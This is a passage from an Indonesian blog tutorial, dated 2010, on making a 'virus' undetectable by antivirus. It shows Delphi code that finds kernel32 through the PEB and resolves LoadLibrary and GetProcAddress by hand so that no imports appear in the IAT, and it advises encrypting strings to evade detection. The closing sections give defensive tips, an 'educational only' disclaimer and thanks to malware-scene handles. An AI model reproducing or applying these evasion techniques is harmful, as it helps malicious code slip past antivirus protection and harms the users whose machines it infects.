DWORD(IED.AddressOfFunctions) + x), 4); pFuncAddr := pFuncAddr + hFile; Result := Pointer(pFuncAddr); end; Inc(DWORD(pNames), 4); Inc(x, 4); end; end; end; end; end; function xLoadLibrary(lpLibFileName: PAnsiChar): HMODULE; var kernel32Addr: DWORD; pLoadLibrary: function(lpLibFileName: PAnsiChar): HMODULE; stdcall; begin asm push esi mov eax,fs:[30h] mov eax,[eax+0Ch] mov esi,[eax+1Ch] lodsd mov eax,[eax+08h] mov kernel32Addr,eax pop esi end; pLoadLibrary := xGetProcAddress(kernel32Addr, 'LoadLibraryA'); Result := pLoadLibrary(lpLibFilename); end; function PC():String; var CompName: Array [0 .. 256] of char; size: DWORD; begin size := 256; xGetComputerName(Compname, size); Result := CompName; end; begin @xMessageBox := xGetProcAddress(xLoadLibrary('user32.dll'),'MessageBoxA'); @xGetComputerName := xGetProcAddress(xLoadLibrary('kernel32.dll'),'GetComputerNameA'); xMessageBox(0,pchar(pc),pchar('meong'),mb_ok); end.
Terlihat iat yang diload kembali seperti default program yang tidak berisikan code . Oh iya tambahan untuk membuat code kita undetect juga anda bisa menambahkan encryption dan encrypt semua string ( saat program dijalankan decrypt kembali).
Demikanlah penjelasan tentang bagaimana membuat virus undetected dari antivirus. Adapun untuk teknik lebih lanjut anda bisa menemukannya di website/forum yang membahas tentang virus. - Protect Computer
Pada bab ini saya akan memberikan beberapa tips bagaimana cara terhindar dari virus ( tentunya virus sejenis ini ). Adapun tips and tricknya sebagai berikut :
1. Updatelah antivirus anda sesering mungkin.
2. Gunakan / install program firewall yang akan memonitoring keluar masuknya data dikomputer anda.
3. Usahakan semua program yang anda gunakan itu asli karena banyak orang yang membinding ( menggabungkan virus dengan program ).
4. Sebelum menjalankan program yang anda download maka analisislah filenya terlebih dulu. Adapun untuk menganalisa program anda bisa melihat resource file, section file, dan juga sniffing lalu lintas data. Apabila anda melihat hal yang mencurigakan lansung didelete saja.
5. Rajin – rajinlah membuka website yang membahas security untuk mengetahui teknik terbaru dari pembuat virus sehingga bisa mencegahnya virus itu menginfecsi komputer anda. Adapun website-websitenya anda bisa melihatnya dibagian credis anda thanks. - Penutup
Demikianlah tutorial dari saya. Adapun segalah kekurangan atau kesalahan pada tutorial ini mohon dimaapkan. Apabila ada yang kurang dimengerti dalam tutorial ini anda bisa lansung menanyakannya kepada saya dengan mengirimkan email ke alamat email saya yang tercantum dibagian about author. Terakhir saya kembali menegaskan tutorial ini hanya untuk pembelajaran saja tampa bermaksud untuk mengajarkan membuat virus dan merugikan orang banyak. Sekian dari saya dan terima kasih. - Credit and thanks
Terimah kasih kepada :
- Aphex
- steve10120
- OMC
- Johnyk
- Apocalyps aka who-tr
- Fuajar
- Chaincoder
- Canis Lupus
- Nohn
- BUNNN
- S'to
- Pirus
- Aurel666
- Cruzen
Dan banyak lagi teman2 saya yang tidak mungkin saya sebutkan semua disini.
Sabtu, 13 Februari 2010
Langganan:
Posting Komentar (Atom)
Tidak ada komentar:
Posting Komentar